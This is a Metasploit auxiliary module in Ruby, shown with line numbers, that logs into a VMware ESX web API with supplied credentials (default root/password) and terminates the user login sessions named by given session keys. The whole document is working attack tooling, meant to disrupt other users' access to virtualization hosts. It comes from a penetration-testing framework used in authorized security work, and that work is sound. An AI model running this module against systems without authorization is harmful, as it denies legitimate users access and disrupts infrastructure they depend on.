1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::HttpClient
8
  include Msf::Auxiliary::Report
9
  include Msf::Exploit::Remote::VIMSoap
10

11
  def initialize
12
    super(
13
      'Name' => 'VMWare Terminate ESX Login Sessions',
14
      'Description' => %(
15
        This module will log into the Web API of VMWare and try to terminate
16
        user login sessions as specified by the session keys.),
17
      'Author' => ['theLightCosine'],
18
      'License' => MSF_LICENSE,
19
      'DefaultOptions' => { 'SSL' => true }
20
    )
21

22
    register_options(
23
      [
24
        Opt::RPORT(443),
25
        OptString.new('USERNAME', [ true, 'The username to Authenticate with.', 'root' ]),
26
        OptString.new('PASSWORD', [ true, 'The password to Authenticate with.', 'password' ]),
27
        OptString.new('KEYS', [true, 'The session key to terminate'])
28
      ]
29
    )
30
  end
31

32
  def run
33
    if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
34
      Shellwords.split(datastore['KEYS']).each do |key|
35
        result = vim_terminate_session(key)
36
        case result
37
        when :notfound
38
          print_error "The specified Session was not found. Check your key: #{key}"
39
        when :success
40
          print_good "The supplied session was terminated successfully: #{key}"
41
        when :error
42
          print_error "There was an error encountered terminating: #{key}"
43
        end
44
      end
45
    else
46
      print_error "Login Failure on #{datastore['RHOST']}"
47
      return
48
    end
49
  end
50
end
51

52